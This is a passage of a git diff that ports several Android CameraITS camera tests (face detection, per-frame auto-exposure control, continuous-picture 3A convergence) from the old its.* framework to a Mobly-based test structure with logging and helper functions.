+  def test_num_faces(self):
     """Test face detection."""
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.face_detect(props))
-        mono_camera = its.caps.mono_camera(props)
-        fd_modes = props['android.statistics.info.availableFaceDetectModes']
-        a = props['android.sensor.info.activeArraySize']
-        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
 
-        if its.caps.read_3a(props):
-            _, _, _, _, _ = cam.do_3a(get_results=True,
-                                      mono_camera=mono_camera)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        for fd_mode in fd_modes:
-            assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
-            req = its.objects.auto_capture_request()
-            req['android.statistics.faceDetectMode'] = fd_mode
-            fmt = {'format': 'yuv', 'width': W, 'height': H}
-            caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
-            for i, cap in enumerate(caps):
-                md = cap['metadata']
-                assert md['android.statistics.faceDetectMode'] == fd_mode
-                faces = md['android.statistics.faces']
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.face_detect(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+      fd_modes = props['android.statistics.info.availableFaceDetectModes']
+      a = props['android.sensor.info.activeArraySize']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
 
-                # 0 faces should be returned for OFF mode
-                if fd_mode == FD_MODE_OFF:
-                    assert not faces
-                    continue
-                # Face detection could take several frames to warm up,
-                # but should detect the correct number of faces in last frame
-                if i == NUM_TEST_FRAMES - 1:
-                    img = its.image.convert_capture_to_rgb_image(cap,
-                                                                 props=props)
-                    fnd_faces = len(faces)
-                    print 'Found %d face(s), expected %d.' % (fnd_faces,
-                                                              NUM_FACES)
-                    # draw boxes around faces
-                    for rect in [face['bounds'] for face in faces]:
-                        top_left = (int(round(rect['left']*W/aw)),
-                                    int(round(rect['top']*H/ah)))
-                        bot_rght = (int(round(rect['right']*W/aw)),
-                                    int(round(rect['bottom']*H/ah)))
-                        cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
-                        img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
-                        its.image.write_image(img, img_name)
-                    assert fnd_faces == NUM_FACES
-                if not faces:
-                    continue
+      if camera_properties_utils.read_3a(props):
+        _, _, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
 
-                print 'Frame %d face metadata:' % i
-                print '  Faces:', faces
-                print ''
+      for fd_mode in fd_modes:
+        assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
+        req = capture_request_utils.auto_capture_request()
+        req['android.statistics.faceDetectMode'] = fd_mode
+        fmt = {'format': 'yuv', 'width': W, 'height': H}
+        caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
+        for i, cap in enumerate(caps):
+          md = cap['metadata']
+          assert md['android.statistics.faceDetectMode'] == fd_mode
+          faces = md['android.statistics.faces']
 
-                # Reasonable scores for faces
-                face_scores = [face['score'] for face in faces]
-                for score in face_scores:
-                    assert score >= 1 and score <= 100
-                # Face bounds should be within active array
-                face_rectangles = [face['bounds'] for face in faces]
-                for rect in face_rectangles:
-                    assert rect['top'] < rect['bottom']
-                    assert rect['left'] < rect['right']
-                    assert 0 <= rect['top'] <= ah
-                    assert 0 <= rect['bottom'] <= ah
-                    assert 0 <= rect['left'] <= aw
-                    assert 0 <= rect['right'] <= aw
+          # 0 faces should be returned for OFF mode
+          if fd_mode == FD_MODE_OFF:
+            assert not faces
+            continue
+          # Face detection could take several frames to warm up,
+          # but should detect the correct number of faces in last frame
+          if i == NUM_TEST_FRAMES - 1:
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+            fnd_faces = len(faces)
+            logging.debug('Found %d face(s), expected %d.',
+                          fnd_faces, NUM_FACES)
+            # draw boxes around faces
+            img = draw_face_rectangles(img, faces, aw, ah)
+            # save image with rectangles
+            img_name = '%s_fd_mode_%s.jpg' % (os.path.join(self.log_path,
+                                                           NAME), fd_mode)
+            image_processing_utils.write_image(img, img_name)
+            assert fnd_faces == NUM_FACES
+          if not faces:
+            continue
+
+          logging.debug('Frame %d face metadata:', i)
+          logging.debug(' Faces: %s', str(faces))
+
+          # Reasonable scores for faces
+          face_scores = [face['score'] for face in faces]
+          for score in face_scores:
+            assert 1 <= score <= 100
+          # Face bounds should be within active array
+          face_rectangles = [face['bounds'] for face in faces]
+          for rect in face_rectangles:
+            assert rect['top'] < rect['bottom']
+            assert rect['left'] < rect['right']
+            assert 0 <= rect['top'] <= ah
+            assert 0 <= rect['bottom'] <= ah
+            assert 0 <= rect['left'] <= aw
+            assert 0 <= rect['right'] <= aw
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py b/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
index 4af6543..eaa5531 100644
--- a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
+++ b/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
@@ -11,271 +11,295 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies per_frame_control."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 import numpy as np
 
-AE_STATE_CONVERGED = 2
-AE_STATE_FLASH_REQUIRED = 4
-DELTA_GAIN_THRESH = 0.03  # >3% gain change --> luma change in same dir
-DELTA_LUMA_THRESH = 0.03  # 3% frame-to-frame noise test_burst_sameness_manual
-DELTA_NO_GAIN_THRESH = 0.01  # <1% gain change --> min luma change
-LSC_TOL = 0.005  # allow <0.5% change in lens shading correction
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_CAPS = 1
-NUM_FRAMES = 30
-VALID_STABLE_LUMA_MIN = 0.1
-VALID_STABLE_LUMA_MAX = 0.9
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_AE_STATE_CONVERGED = 2
+_AE_STATE_FLASH_REQUIRED = 4
+_DELTA_GAIN_THRESH = 3  # >3% gain change --> luma change in same dir.
+_DELTA_LUMA_THRESH = 3  # 3% frame-to-frame noise test_burst_sameness_manual.
+_DELTA_NO_GAIN_THRESH = 1  # <1% gain change --> min luma change.
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NS_TO_MS = 1.0E-6
+_NUM_CAPS = 1
+_NUM_FRAMES = 30
+_PATCH_H = 0.1  # Center 10%.
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RAW_NIBBLE_SIZE = 6  # Used to increase NUM_CAPS & decrease NUM_FRAMES for RAW.
+_RAW_GR_CH = 1
+_VALID_LUMA_MIN = 0.1
+_VALID_LUMA_MAX = 0.9
+_YUV_Y_CH = 0
 
 
-def lsc_unchanged(lsc_avlb, lsc, idx):
-    """Determine if lens shading correction unchanged.
-
-    Args:
-        lsc_avlb:   bool; True if lens shading correction available
-        lsc:        list; lens shading correction matrix
-        idx:        int; frame index
-    Returns:
-        boolean
-    """
-    if lsc_avlb:
-        diff = list((np.array(lsc[idx]) - np.array(lsc[idx-1])) /
-                    np.array(lsc[idx-1]))
-        diff = map(abs, diff)
-        max_abs_diff = max(diff)
-        if max_abs_diff > LSC_TOL:
-            print '  max abs(LSC) change:', round(max_abs_diff, 4)
-            return False
-        else:
-            return True
-    else:
-        return True
+def _check_delta_luma_vs_delta_gain(fmt, j, lumas, total_gains):
+  """Determine if luma and gain move together for current frame."""
+  delta_gain = total_gains[j] - total_gains[j-1]
+  delta_luma = lumas[j] - lumas[j-1]
+  delta_gain_rel = delta_gain / total_gains[j-1] * 100  # %
+  delta_luma_rel = delta_luma / lumas[j-1] * 100  # %
+  # luma and total_gain should change in same direction
+  if abs(delta_gain_rel) > _DELTA_GAIN_THRESH:
+    logging.debug('frame %d: %.2f%% delta gain, %.2f%% delta luma',
+                  j, delta_gain_rel, delta_luma_rel)
+    if delta_gain * delta_luma < 0.0:
+      return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
+              f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
+              f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%) '
+              f'GAIN/LUMA OPPOSITE DIR')
+  elif abs(delta_gain_rel) < _DELTA_NO_GAIN_THRESH:
+    logging.debug('frame %d: <|%.1f%%| delta gain, %.2f%% delta luma', j,
+                  _DELTA_NO_GAIN_THRESH, delta_luma_rel)
+    if abs(delta_luma_rel) > _DELTA_LUMA_THRESH:
+      return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
+              f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
+              f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%), '
+              f'<|{_DELTA_NO_GAIN_THRESH:.1f}%| GAIN, '
+              f'>|{_DELTA_LUMA_THRESH:.1f}%| LUMA DELTA')
+  else:
+    logging.debug('frame %d: %.1f%% delta gain, %.2f%% delta luma',
+                  j, delta_gain_rel, delta_luma_rel)
+    return None
 
 
-def tonemap_unchanged(raw_cap, tonemap_g, idx):
-    """Determine if tonemap unchanged.
+def _determine_test_formats(cam, props, raw_avlb, debug):
+  """Determines the capture formats to test.
 
-    Args:
-        raw_cap:    bool; True if RAW capture
-        tonemap_g:  list; green tonemap
-        idx:        int; frame index
-    Returns:
-        boolean
-    """
-    if not raw_cap:
-        return tonemap_g[idx-1] == tonemap_g[idx]
-    else:
-        return True
+  Args:
+    cam: Camera capture object.
+    props: Camera properties dict.
+    raw_avlb: Boolean for if RAW captures are available.
+    debug: Boolean for whether in debug mode.
+  Returns:
+    fmts: List of formats.
+  """
+  largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+  match_ar = (largest_yuv['width'], largest_yuv['height'])
+  fmt = capture_request_utils.get_smallest_yuv_format(
+      props, match_ar=match_ar)
+  if raw_avlb and debug:
+    return (cam.CAP_RAW, fmt)
+  else:
+    return (fmt,)
 
 
-def is_awb_af_stable(cap_info, i):
-    awb_gains_0 = cap_info[i-1]['awb_gains']
-    awb_gains_1 = cap_info[i]['awb_gains']
-    ccm_0 = cap_info[i-1]['ccm']
-    ccm_1 = cap_info[i]['ccm']
-    fd_0 = cap_info[i-1]['fd']
-    fd_1 = cap_info[i]['fd']
+def _tabulate_frame_data(metadata, luma, raw_cap, debug):
+  """Puts relevant frame data into a dictionary."""
+  ae_state = metadata['android.control.aeState']
+  iso = metadata['android.sensor.sensitivity']
+  isp_gain = metadata['android.control.postRawSensitivityBoost'] / 100
+  exp_time = metadata['android.sensor.exposureTime'] * _NS_TO_MS
+  total_gain = iso * exp_time
+  if not raw_cap:
+    total_gain *= isp_gain
+  awb_state = metadata['android.control.awbState']
+  frame = {
+      'awb_gains': metadata['android.colorCorrection.gains'],
+      'ccm': metadata['android.colorCorrection.transform'],
+      'fd': metadata['android.lens.focusDistance'],
+  }
 
-    return (np.allclose(awb_gains_0, awb_gains_1, rtol=0.01) and
-            ccm_0 == ccm_1 and np.isclose(fd_0, fd_1, rtol=0.01))
+  # Convert CCM from rational to float, as numpy arrays.
+  awb_ccm = np.array(capture_request_utils.rational_to_float(
+      frame['ccm'])).reshape(3, 3)
+
+  logging.debug('AE: %d ISO: %d ISP_sen: %d exp: %4fms tot_gain: %f luma: %f',
+                ae_state, iso, isp_gain, exp_time, total_gain, luma)
+  logging.debug('fd: %f', frame['fd'])
+  logging.debug('AWB state: %d, AWB gains: %s\n AWB matrix: %s', awb_state,
+                str(frame['awb_gains']), str(awb_ccm))
+  if debug:
+    logging.debug('Tonemap curve: %s', str(metadata['android.tonemap.curve']))
+
+  return frame, ae_state, total_gain
 
 
-def main():
-    """Tests PER_FRAME_CONTROL properties for auto capture requests.
+def _compute_frame_luma(cap, props, raw_cap):
+  """Determines the luma for the center patch of the frame.
 
-    If debug is required, MANUAL_POSTPROCESSING capability is implied
-    since its.caps.read_3a is valid for test. Debug can performed with
-    a defined tonemap curve:
-    req['android.tonemap.mode'] = 0
-    gamma = sum([[i/63.0,math.pow(i/63.0,1/2.2)] for i in xrange(64)],[])
-    req['android.tonemap.curve'] = {
-            'red': gamma, 'green': gamma, 'blue': gamma}
-    """
+  RAW captures use GR plane, YUV captures use Y plane.
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.per_frame_control(props) and
-                             its.caps.read_3a(props))
-        debug = its.caps.debug_mode()
-        raw_avlb = its.caps.raw16(props)
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        match_ar = (largest_yuv['width'], largest_yuv['height'])
-        fmts = [its.objects.get_smallest_yuv_format(props, match_ar=match_ar)]
-        if raw_avlb and debug:
-            fmts.insert(0, cam.CAP_RAW)
+  Args:
+    cap: Camera capture object.
+    props: Camera properties dict.
+    raw_cap: Boolean for capture is RAW or YUV.
+  Returns:
+    luma: Luma value for center patch of image.
+  """
+  if raw_cap:
+    plane = image_processing_utils.convert_capture_to_planes(
+        cap, props=props)[_RAW_GR_CH]
+  else:
+    plane = image_processing_utils.convert_capture_to_planes(cap)[_YUV_Y_CH]
 
-        failed = []
-        for f, fmt in enumerate(fmts):
-            print 'fmt:', fmt['format']
-            cam.do_3a()
-            req = its.objects.auto_capture_request()
-            cap_info = {}
-            ae_states = []
-            lumas = []
-            total_gains = []
-            tonemap_g = []
-            lsc = []
-            num_caps = NUM_CAPS
-            num_frames = NUM_FRAMES
-            raw_cap = f == 0 and raw_avlb and debug
-            lsc_avlb = its.caps.lsc_map(props) and not raw_cap
-            print 'lens shading correction available:', lsc_avlb
-            if lsc_avlb:
-                req['android.statistics.lensShadingMapMode'] = 1
-            name_suffix = 'YUV'
-            if raw_cap:
-                name_suffix = 'RAW'
-                # break up caps if RAW to reduce load
-                num_caps = NUM_CAPS * 6
-                num_frames = NUM_FRAMES / 6
-            for j in range(num_caps):
-                caps = cam.do_capture([req]*num_frames, fmt)
-                for i, cap in enumerate(caps):
-                    frame = {}
-                    idx = i + j * num_frames
-                    print '=========== frame %d ==========' % idx
-                    # RAW --> GR, YUV --> Y plane
-                    if raw_cap:
-                        plane = its.image.convert_capture_to_planes(
-                                cap, props=props)[1]
-                    else:
-                        plane = its.image.convert_capture_to_planes(cap)[0]
-                    tile = its.image.get_image_patch(
-                            plane, 0.45, 0.45, 0.1, 0.1)
-                    luma = its.image.compute_image_means(tile)[0]
-                    ae_state = cap['metadata']['android.control.aeState']
-                    iso = cap['metadata']['android.sensor.sensitivity']
-                    isp_gain = cap['metadata']['android.control.postRawSensitivityBoost']
-                    exp_time = cap['metadata']['android.sensor.exposureTime']
-                    total_gain = iso * isp_gain / 100.0 * exp_time / 1000000.0
-                    if raw_cap:
-                        total_gain = iso * exp_time / 1000000.0
-                    awb_state = cap['metadata']['android.control.awbState']
-                    frame['awb_gains'] = cap['metadata']['android.colorCorrection.gains']
-                    frame['ccm'] = cap['metadata']['android.colorCorrection.transform']
-                    frame['fd'] = cap['metadata']['android.lens.focusDistance']
+  patch = image_processing_utils.get_image_patch(
+      plane, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  return image_processing_utils.compute_image_means(patch)[0]
 
-                    # Convert CCM from rational to float, as numpy arrays.
-                    awb_ccm = np.array(its.objects.rational_to_float(frame['ccm'])).reshape(3, 3)
 
-                    print 'AE: %d ISO: %d ISP_sen: %d exp(ns): %d tot_gain: %f' % (
-                            ae_state, iso, isp_gain, exp_time, total_gain),
-                    print 'luma: %f' % luma
-                    print 'fd: %f' % frame['fd']
-                    print 'AWB state: %d, AWB gains: %s\n AWB matrix: %s' % (
-                            awb_state, str(frame['awb_gains']),
-                            str(awb_ccm))
-                    if not raw_cap:
-                        tonemap = cap['metadata']['android.tonemap.curve']
-                        tonemap_g.append(tonemap['green'])
-                        print 'G tonemap curve:', tonemap_g[idx]
-                    if lsc_avlb:
-                        lsc.append(cap['metadata']['android.statistics.lensShadingCorrectionMap']['map'])
+def _plot_data(lumas, gains, fmt, log_path):
+  """Plots lumas and gains data for this test.
 
-                    img = its.image.convert_capture_to_rgb_image(
-                            cap, props=props)
-                    its.image.write_image(img, '%s_frame_%s_%d.jpg' % (
-                            NAME, name_suffix, idx))
-                    cap_info[idx] = frame
-                    ae_states.append(ae_state)
-                    lumas.append(luma)
-                    total_gains.append(total_gain)
+  Args:
+    lumas: List of luma data from captures.
+    gains: List of gain data from captures.
+    fmt: String to identify 'YUV' or 'RAW' plots.
+    log_path: Location to store data.
+  """
+  norm_gains = [x / max(gains) * max(lumas) for x in gains]
 
-            norm_gains = [x/max(total_gains)*max(lumas) for x in total_gains]
-            pylab.figure(name_suffix)
-            pylab.plot(range(len(lumas)), lumas, '-g.',
-                       label='Center patch brightness')
-            pylab.plot(range(len(norm_gains)), norm_gains, '-r.',
-                       label='Metadata AE setting product')
-            pylab.title(NAME + ' ' + name_suffix)
-            pylab.xlabel('frame index')
+  pylab.figure(fmt)
+  pylab.plot(range(len(lumas)), lumas, '-g.', label='Center patch brightness')
+  pylab.plot(range(len(gains)), norm_gains, '-r.',
+             label='Metadata AE setting product')
+  pylab.title(_NAME + ' ' + fmt)
+  pylab.xlabel('frame index')
 
-            # expand y axis for low delta results
-            ymin = min(norm_gains + lumas)
-            ymax = max(norm_gains + lumas)
-            yavg = (ymax + ymin)/2.0
-            if ymax-ymin < 3*DELTA_LUMA_THRESH:
-                ymin = round(yavg - 1.5*DELTA_LUMA_THRESH, 3)
-                ymax = round(yavg + 1.5*DELTA_LUMA_THRESH, 3)
-                pylab.ylim(ymin, ymax)
-            pylab.legend()
-            matplotlib.pyplot.savefig('%s_plot_%s.png' % (NAME, name_suffix))
+  # expand y axis for low delta results
+  ymin = min(norm_gains + lumas)
+  ymax = max(norm_gains + lumas)
+  yavg = (ymax + ymin) / 2.0
+  if ymax - ymin < 3 * _DELTA_LUMA_THRESH/100:
+    ymin = round(yavg - 1.5 * _DELTA_LUMA_THRESH/100, 3)
+    ymax = round(yavg + 1.5 * _DELTA_LUMA_THRESH/100, 3)
+    pylab.ylim(ymin, ymax)
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_plot_%s.png' % (os.path.join(log_path, _NAME), fmt))
 
-            print '\nfmt:', fmt['format']
-            for i in range(1, num_caps*num_frames):
-                if is_awb_af_stable(cap_info, i):
-                    prev_total_gain = total_gains[i-1]
-                    total_gain = total_gains[i]
-                    delta_gain = total_gain - prev_total_gain
-                    prev_luma = lumas[i-1]
-                    luma = lumas[i]
-                    delta_luma = luma - prev_luma
-                    delta_gain_rel = delta_gain / prev_total_gain
-                    delta_luma_rel = delta_luma / prev_luma
-                    # luma and total_gain should change in same direction
-                    msg = '%s: frame %d: gain %.1f -> %.1f (%.1f%%), ' % (
-                            fmt['format'], i, prev_total_gain, total_gain,
-                            delta_gain_rel*100)
-                    msg += 'luma %f -> %f (%.2f%%)  GAIN/LUMA OPPOSITE DIR' % (
-                            prev_luma, luma, delta_luma_rel*100)
-                    # Threshold change to trigger check. Small delta_gain might
-                    # not be enough to generate a reliable delta_luma to
-                    # overcome frame-to-frame variation.
-                    if (tonemap_unchanged(raw_cap, tonemap_g, i) and
-                                lsc_unchanged(lsc_avlb, lsc, i)):
-                        if abs(delta_gain_rel) > DELTA_GAIN_THRESH:
-                            print ' frame %d: %.2f%% delta gain,' % (
-                                    i, delta_gain_rel*100),
-                            print '%.2f%% delta luma' % (delta_luma_rel*100)
-                            if delta_gain * delta_luma < 0.0:
-                                failed.append(msg)
-                        elif abs(delta_gain_rel) < DELTA_NO_GAIN_THRESH:
-                            print ' frame %d: <|%.1f%%| delta gain,' % (
-                                    i, DELTA_NO_GAIN_THRESH*100),
-                            print '%.2f%% delta luma' % (delta_luma_rel*100)
-                            msg = '%s: ' % fmt['format']
-                            msg += 'frame %d: gain %.1f -> %.1f (%.1f%%), ' % (
-                                    i, prev_total_gain, total_gain,
-                                    delta_gain_rel*100)
-                            msg += 'luma %f -> %f (%.1f%%)  ' % (
-                                    prev_luma, luma, delta_luma_rel*100)
-                            msg += '<|%.1f%%| GAIN, >|%.f%%| LUMA DELTA' % (
-                                    DELTA_NO_GAIN_THRESH*100, DELTA_LUMA_THRESH*100)
-                            if abs(delta_luma_rel) > DELTA_LUMA_THRESH:
-                                failed.append(msg)
-                        else:
-                            print ' frame %d: %.1f%% delta gain,' % (
-                                    i, delta_gain_rel*100),
-                            print '%.2f%% delta luma' % (delta_luma_rel*100)
-                    else:
-                        print ' frame %d -> %d: tonemap' % (i-1, i),
-                        print 'or lens shading correction changed'
-                else:
-                    print ' frame %d -> %d: AWB/AF changed' % (i-1, i)
 
-            for i in range(len(lumas)):
-                luma = lumas[i]
-                ae_state = ae_states[i]
-                if (ae_state == AE_STATE_CONVERGED or
-                            ae_state == AE_STATE_FLASH_REQUIRED):
-                    msg = '%s: frame %d AE converged ' % (fmt['format'], i)
-                    msg += 'luma %f. valid range: (%f, %f)' % (
-                            luma, VALID_STABLE_LUMA_MIN, VALID_STABLE_LUMA_MAX)
-                    if VALID_STABLE_LUMA_MIN > luma > VALID_STABLE_LUMA_MAX:
-                        failed.append(msg)
-        if failed:
-            print '\nError summary'
-            for fail in failed:
-                print fail
-            assert not failed
+def _is_awb_af_stable(cap_info, i):
+  """Determines if Auto White Balance and Auto Focus are stable."""
+  awb_gains_i_1 = cap_info[i-1]['awb_gains']
+  awb_gains_i = cap_info[i]['awb_gains']
+
+  return (np.allclose(awb_gains_i_1, awb_gains_i, rtol=0.01) and
+          cap_info[i-1]['ccm'] == cap_info[i]['ccm'] and
+          np.isclose(cap_info[i-1]['fd'], cap_info[i]['fd'], rtol=0.01))
+
+
+class AutoPerFrameControlTest(its_base_test.ItsBaseTest):
+  """Tests PER_FRAME_CONTROL properties for auto capture requests.
+
+  Takes a sequence of images with auto capture request.
+  Determines if luma and gain settings move in same direction for large setting
+  changes.
+  Small settings changes should result in small changes in luma.
+  Threshold for checking is DELTA_GAIN_THRESH. Theshold where not change is
+  expected is DELTA_NO_GAIN_THRESH.
+
+  While not included in this test, if camera debug is required:
+    MANUAL_POSTPROCESSING capability is implied since
+    camera_properties_utils.read_3a is valid for test.
+
+    debug can also be performed with a defined tonemap curve:
+      req['android.tonemap.mode'] = 0
+      gamma = sum([[i/63.0,math.pow(i/63.0,1/2.2)] for i in xrange(64)],[])
+      req['android.tonemap.curve'] = {'red': gamma, 'green': gamma,
+                                      'blue': gamma}
+  """
+
+  def test_auto_per_frame_control(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.read_3a(props))
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      debug = self.debug_mode
+      raw_avlb = camera_properties_utils.raw16(props)
+      fmts = _determine_test_formats(cam, props, raw_avlb, debug)
+
+      failed = []
+      for i, fmt in enumerate(fmts):
+        logging.debug('fmt: %s', str(fmt['format']))
+        cam.do_3a()
+        req = capture_request_utils.auto_capture_request()
+        cap_info = {}
+        ae_states = []
+        lumas = []
+        total_gains = []
+        num_caps = _NUM_CAPS
+        num_frames = _NUM_FRAMES
+        raw_cap = i == 0 and raw_avlb and debug
+        # Break up caps if RAW to reduce bandwidth requirements.
+        if raw_cap:
+          num_caps = _NUM_CAPS * _RAW_NIBBLE_SIZE
+          num_frames = _NUM_FRAMES // _RAW_NIBBLE_SIZE
+
+        # Capture frames and tabulate info.
+        for j in range(num_caps):
+          caps = cam.do_capture([req] * num_frames, fmt)
+          for k, cap in enumerate(caps):
+            idx = k + j * num_frames
+            logging.debug('=========== frame %d ==========', idx)
+            luma = _compute_frame_luma(cap, props, raw_cap)
+            frame, ae_state, total_gain = _tabulate_frame_data(
+                cap['metadata'], luma, raw_cap, debug)
+            cap_info[idx] = frame
+            ae_states.append(ae_state)
+            lumas.append(luma)
+            total_gains.append(total_gain)
+
+             # Save image.
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+            image_processing_utils.write_image(img, '%s_frame_%s_%d.jpg' % (
+                os.path.join(log_path, _NAME), fmt['format'], idx))
+
+        _plot_data(lumas, total_gains, fmt['format'], log_path)
+
+        # Check correct behavior
+        logging.debug('fmt: %s', str(fmt['format']))
+        for j in range(1, num_caps * num_frames):
+          if _is_awb_af_stable(cap_info, j):
+            error_msg = _check_delta_luma_vs_delta_gain(
+                fmt, j, lumas, total_gains)
+            if error_msg:
+              failed.append(error_msg)
+          else:
+            logging.debug('frame %d -> %d: AWB/AF changed', j-1, j)
+
+        for j, luma in enumerate(lumas):
+          if ((ae_states[j] == _AE_STATE_CONVERGED or
+               ae_states[j] == _AE_STATE_FLASH_REQUIRED) and
+              (_VALID_LUMA_MIN > luma or luma > _VALID_LUMA_MAX)):
+            failed.append(
+                f"{fmt['format']}: frame {j} AE converged luma {luma}. "
+                f'Valid range: ({_VALID_LUMA_MIN}, {_VALID_LUMA_MAX})'
+            )
+      if failed:
+        logging.error('Error summary')
+        for fail in failed:
+          logging.error('%s', fail)
+        raise AssertionError
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_e/test_continuous_picture.py b/apps/CameraITS/tests/scene2_e/test_continuous_picture.py
index f510aca..acd914f 100644
--- a/apps/CameraITS/tests/scene2_e/test_continuous_picture.py
+++ b/apps/CameraITS/tests/scene2_e/test_continuous_picture.py
@@ -11,88 +11,123 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies 3A converges in CONTINUOUS_PICTURE mode."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
 
-CONTINUOUS_PICTURE_MODE = 4
-CONVERGED_3A = [2, 2, 2]  # [AE, AF, AWB]
-# AE_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED,
-#             4: FLASH_REQ, 5: PRECAPTURE}
-# AF_STATES: {0: INACTIVE, 1: PASSIVE_SCAN, 2: PASSIVE_FOCUSED,
-#             3: ACTIVE_SCAN, 4: FOCUS_LOCKED, 5: NOT_FOCUSED_LOCKED,
-#             6: PASSIVE_UNFOCUSED}
-# AWB_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED}
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_FRAMES = 50
-W, H = 640, 480
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_CONTINUOUS_PICTURE_MODE = 4
+_CONVERGED_3A = (2, 2, 2)  # (AE, AF, AWB)
+_M_TO_CM = 100
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NS_TO_MS = 1E-6
+_NUM_FRAMES = 50
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RGB_G_CH = 1
+_VGA_W, _VGA_H = 640, 480
 
 
-def capture_frames(cam, debug):
-    """Capture frames."""
-    cap_data_list = []
-    req = its.objects.auto_capture_request()
-    req['android.control.afMode'] = CONTINUOUS_PICTURE_MODE
-    fmt = {'format': 'yuv', 'width': W, 'height': H}
-    caps = cam.do_capture([req]*NUM_FRAMES, fmt)
+def _capture_frames(cam, log_path, debug):
+  """Captures frames, logs info, and creates cap_3a_state_list.
 
-    # extract frame metadata and frame
-    for i, cap in enumerate(caps):
-        cap_data = {}
-        md = cap['metadata']
-        exp = md['android.sensor.exposureTime']
-        iso = md['android.sensor.sensitivity']
-        fd = md['android.lens.focalLength']
-        ae_state = md['android.control.aeState']
-        af_state = md['android.control.afState']
-        awb_state = md['android.control.awbState']
-        fd_str = 'infinity'
-        if fd != 0.0:
-            fd_str = str(round(1.0E2/fd, 2)) + 'cm'
-        img = its.image.convert_capture_to_rgb_image(cap)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        g = its.image.compute_image_means(tile)[1]
-        print '%d, iso: %d, exp: %.2fms, fd: %s, avg: %.3f' % (
-                i, iso, exp*1E-6, fd_str, g),
-        print '[ae,af,awb]: [%d,%d,%d]' % (ae_state, af_state, awb_state)
-        cap_data['exp'] = exp
-        cap_data['iso'] = iso
-        cap_data['fd'] = fd
-        cap_data['3a_state'] = [ae_state, af_state, awb_state]
-        cap_data['avg'] = g
-        cap_data_list.append(cap_data)
-        if debug:
-            its.image.write_image(img, '%s_%d.jpg' % (NAME, i))
-    return cap_data_list
+  Args:
+    cam: a camera capture object.
+    log_path: str to identify saved image location.
+    debug: bool for debugging info.
+  Returns:
+    cap_3a_state_list: list of 3a states [AE, AF, AWB] during captures.
+  """
+  cap_3a_state_list = []
